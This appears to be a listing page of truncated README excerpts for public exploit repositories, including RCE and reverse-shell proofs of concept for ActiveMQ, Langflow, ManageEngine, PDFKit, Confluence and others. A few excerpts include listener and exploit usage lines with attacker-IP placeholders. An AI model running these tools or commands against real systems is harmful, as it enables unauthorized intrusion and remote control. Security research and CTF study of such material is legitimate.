CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC Disclamer I did not, nor do I take credit for finding this vulnerability. This is simply a script I built to more easily exploit this vulnerability for a CTF. For the oiriginal information please reference: https://github.com/c53elyas/CVE-2023-33733 This script is simply intend...

Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 - Pluck CMS v4.7.18 Remote Code Execution RCE Exploit Description This script exploits a Remote Code Execution RCE vulnerability in Pluck CMS v4.7.18. The vulnerability allows a malicious user to upload a malicious PHP file to the server and execute it, gaining remote command...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 is a widely exploited vulnerability that appears on CISA's KEV list. This go-exploit implementation can execute a reverse shell on the targets using a Nashorn payload, or download a binary to the target and execute it. Compiling To build the exploit...

CVE-2022-1388

CVE-2022-1388 RCE, Reverse Shell, and Auto-Export PCAP -- FOR EDUCATIONAL USE ONLY -- The author is not responsible or held liable for any actions taken with any aspect of this project/repository. I created this for the purposes of understanding the attack as well as writing detections within a...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack It shook the world in 2017 and has evolved into today’s CVE‑2025‑2776. Microsoft still relies on SMBv1, this article will explain how attackers have tweaked the chain from a simple DLL to a full reverse‑shell stack, and what that...

CVE-2019-15715

CVE-2019-15715 यह रिपॉजिटरी CVE-2019-15715 का Python3 में एक कार्यान्वयन है और इसका उद्देश्य Nikolas Geiselman द्वारा पहले यहाँ रिपोर्ट किए गए CVE-2019-15715 में सुधार करना है, जिसमें python के पैरामीटर कार्यान्वयन को जोड़कर स्क्रिप्ट को अधिक लचीला बनाया गया है। python3 CVE-2019-15715.py -rh...

mcpExec

mcpExec is a tool that takes advantage of the CVE-2026-23744 to gather a reverse shell using the URL of the vulnerable MCPJam Inspector installation. Installation git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip...

SSRFX

CVE-2014-4210+Redis Unauthorized Access Installation pip install -r requirements.txt Usage usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional arguments: -h,...

Crimson-Cloak-ISH-wrapper-iOS-

Crimson-Cloak-ISH-wrapper-iOS Wrapper to maximize iSH iOS app capabilities without jailbreak. What It Does HTTP API + embedded dashboard on http://127.0.0.1:8088 WebSocket real-time streaming on ws://127.0.0.1:8089 Auto-discovery of SynChan tools Huginn, OmnINT, Daedalus, Argus, Neural, Ophelia,...

reverse-engineering-browser

Reverse Engineering Browser See the browser evidence behind fingerprints, requests, scripts, and runtime behavior. A local-first research browser and macOS workspace for inspecting authorized web applications. v0.2.1 released Origin Trace Traffic now has a full-width, DevTools-style request table...

cve-2020-14008

CVE-2020-14008 ManageEngine Exploit What is this? This script exploits CVE-2020-14008 in ManageEngine Applications Manager to get a reverse shell with SYSTEM privileges. Requirements pip3 install requests urllib3 How to use it 1. Start a listener nc -nlvp 9001 2. Run the exploit python3...

langflow-rce-exploit

Langflow RCE Exploit CVE-2025-3248 Remote Code Execution Exploit for Langflow CVE-2025-3248 Features Automatic vulnerability detection Multiple exploitation modes: Interactive shell Single command execution Reverse shell connection File upload capability Colorized user interface Multiple reverse...

ReverseSock5Proxy

Reverse TCP Sock5 Proxy A tiny Reverse Sock5 Proxy Server The Server GUI Built with ImGui :V U can download a prebuilt from Releases. Build You need gcc version 12+ recommended one for windows Conan Package Manager And run any script from the scripts folder, depend on your needs :V Client/Agent...

reverse-engineering-workshop

...

CVE-2019-0232

CVE-2019-0232 Description This is a tool that automates the exploitation workflow for CVE‑2019‑0232 by providing both command execution mode and reverse‑shell mode. It supports automatic URL encoding for commands, spins up a temporary HTTP server to host nc.exe, uploads it to the vulnerable Apach...

CVE-2022-25765

CVE-2022-25765 Exploit A small POC exploit for CVE-2022-25765, PDFkit-CMD-Injection Usage 1. Start a netcat listener on your attack machine: nc -lvnp 4444 2. Run the exploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Example: python cve-2022-25765.py -t...

cve-2023-22527

تنفيذ كود تعسفي في ذاكرة Confluence CVE-2023-22527 هي ثغرة أمنية معروفة على نطاق واسع تؤثر على Atlassian Confluence. معظم استغلالات هذه الثغرة تستخدم freemarker.template.utility.Execute لتنفيذ أمر من أوامر نظام التشغيل، لكنها يمكنها أن تفعل ما هو أفضل بكثير. في هذا المستودع ستجد ثلاثة تطبيقات...

dirtycow-vdso

0xdeadbeef Dirty COW CVE-2016-5195 के लिए PoC। यह PoC vDSO को पैच करने के लिए /proc/self/mem के बजाय ptrace पर निर्भर करता है। फ़ाइल सिस्टम बाइनरी को संशोधित करने वाले PoCs की तुलना में इसके कुछ लाभ हैं: कोई setuid बाइनरी आवश्यक नहीं SELinux बाइपास कंटेनर एस्केप फ़ाइल सिस्टम राइटबैक के कारण कोई...

EUVD-2026-90923

geopy: Regular Expression Denial of Service ReDoS in geopy.Point...

Cybersecurity-Books

كتب الأمن السيبراني ستجد هنا مجموعة رائعة تضم معظم كتب الأمن السيبراني المعروفة والمفيدة، من مستوى المبتدئين حتى مستوى الخبراء، لجميع التخصصات في مجال الأمن السيبراني 1. CyberSecRoadmap 1.pdf 2. 21 days free CCNA complete videos.pdf 3. 101 Labs - CompTIA Linux+.pdf 4. 7839+ Awesome Deep Web Onion...